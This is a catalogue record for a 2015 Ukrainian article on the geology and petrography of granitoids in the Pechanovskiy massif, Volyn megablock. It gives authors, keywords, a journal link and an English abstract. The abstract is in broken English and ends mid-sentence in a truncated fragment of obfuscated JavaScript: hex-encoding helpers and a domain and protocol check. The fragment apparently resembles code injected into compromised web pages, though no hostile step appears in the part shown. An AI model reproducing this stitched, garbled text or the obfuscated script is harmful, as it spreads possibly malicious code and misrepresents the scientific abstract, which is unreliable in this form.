GRANITOIDS OF THE PECHANOVSKIY MASSIF (VOLYN MEGABLOCK, UKRAINIAN SHIELD)Paper 1. Geology, petrography

• Дата: 2015
• Автори: Geychenko, M.V., Bobrov, O.B.
• Формат: Стаття
• Мова: Ukrainian
• Опубліковано: Institute of Geological Sciences, NAS of Ukraine 2015
• Теми: paleoproterozoic; granitoids; migmatites; tonalite; plagiogranites; палеопротерозой; гранитоиды; мигматиты; тоналиты; плагиограниты; 550.93; гранітоїди; мігматити; тоналіти; плагіограніти
• Онлайн доступ: http://geojournal.igs-nas.org.ua/article/view/139157
• Назва журналу: Geological journal

 This article describes Pechanovskiy massif allocated at work on geological mapping 1:50 000 scale. Continued study of the massiv gave a new factual material on the structural features of the geological position magmatic rocks and ost granitoids, the composition of rocks, their petrographic and geochemical characteristics and accessories to a particular complex. Authors is a new factual material for the study of all available outcrops, focused drilling in the contact portion and within the massif, first conducted systematic studies aimed at establishing the entire spectrum of basic petrotypes massif and the host granitoids. Pechanovskiy massif is a part of a homogenized ultrametamorphic modified basement represented different superсrustal rocks (Vasilievka suite, Teterivska series). The findings suggest that certain areas of most homogenized plutonic features acquire homogeneous character and creates the possibility of intrusion servings anatektoidic melt. This gives granitoids signs paraautochthonous.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e